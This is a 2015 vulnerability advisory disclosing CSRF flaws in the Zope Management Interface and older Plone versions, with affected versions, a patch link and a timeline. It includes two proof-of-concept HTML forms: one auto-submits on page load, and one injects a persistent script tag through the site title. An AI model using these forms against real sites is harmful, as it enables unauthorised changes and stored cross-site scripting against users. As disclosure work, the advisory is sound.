Zope Management Interface 4.3.7 Cross Site Request Forgery
Posted on 08 October 2015
[+] Credits: hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/AS-ZOPE-CSRF.txt Vendor: ================================ www.zope.org plone.org Product: ================================ Zope Management Interface 4.3.7 Zope is a Python-based application server for building secure and highly scalable web applications. Plone Is a Content Management System built on top of the open source application server Zope and the accompanying Content Management Framework. Vulnerability Type: =================== Cross site request forgery (CSRF) Multiple CSRF (cross-site request forgery) vulnerabilities in the ZMI (Zope Management Interface). Patches to Zope and Plone for multiple CSRF issues. https://plone.org/security/20151006/multiple-csrf-vulnerabilities-in-zope https://plone.org/products/plone/security/advisories/security-vulnerability-20151006-csrf CVE Reference: ============== NA Vulnerability Details: ===================== Security vulnerability: 20151006 - CSRF ZMI is mostly unprotected from CSRF vulnerabilities. Versions affected 4.3.7, 4.3.6, 4.3.5, 4.3.4, 4.3.3, 4.3.2, 4.3.1, 4.3, 4.2.7, 4.2.6, 4.2.5, 4.2.4, 4.2.3, 4.2.2, 4.2.1, 4.2 4.1.6, 4.1.5, 4.1.4, 4.1.3, 4.1.2, 4.1.1, 4.1, 4.0.9, 4.0.7, 4.0.5, 4.0.4, 4.0.3, 4.0.2, 4.0.1, 4.0, 3.3.6 3.3.5, 3.3.4. 3.3.3, 3.3.2, 3.3.1, 3.3 All versions of Plone prior to 5.x are vulnerable. Fixed by Nathan Van Gheem, of the Plone Security Team Coordinated by Plone Security Team patch was released and is available from https://pypi.python.org/pypi/plone4.csrffixes Exploit code(s): =============== <!DOCTYPE> <html> <head> <title>Plone CSRF Add Linxs & Persistent XSS</title> <body onLoad="doit()"> <script> function doit(){ var e=document.getElementById('HELL') e.submit() } </script> <form id="HELL" method="post" action=" http://localhost:8080/Plone/Members/portal_factory/Link/link.2015-08-30.6666666666/atct_edit "> <input type="text" name="title" id="title" value="HYP3RLINX" size="30" maxlength="255" placeholder="" /> <input type="text" name="remoteUrl" id="remoteUrl" value=" http://hyp3rlinx.altervista.org" size="30" maxlength="511" placeholder="" /> <input type="hidden" name="fieldset" value="default" /> <input type="hidden" name="form.submitted" value="1" /> </form> 2) CSRF to Persistent XSS - Zope Management Interface ++++++++++++++++++++++++++++++++++++++++++++++++++++++ Persistent XSS via CSRF on title change properties tab, this will execute on each Zope page accessed by users. CSRF to Persistent XSS POC Code: ================================= <form id="HELL" action="http://localhost:8080/" method="post"> <input type="text" name="title:UTF-8:string" size="35" value="</title><script>alert('XSS by hyp3rlinx 08302015')</script>" /> <input name="manage_editProperties:method" value="Save Changes" /> </form> Disclosure Timeline: ========================================================= Vulnerability reported: 2015-08-30 Hotfix released: 2015-10-06 Exploitation Technique: ======================= Remote Vector NETWORK Complexity LOW Authentication NONE Confidentiality NONE Integrity PARTIAL Availability PARTIAL Severity Level: ========================================================= 6.4 – MEDIUM Description: ========================================================== Request Method(s): [+] POST Vulnerable Product: [+] Zope Management Interface & all versions of Plone prior to 5.x are vulnerable. =========================================================== [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. by hyp3rlinx
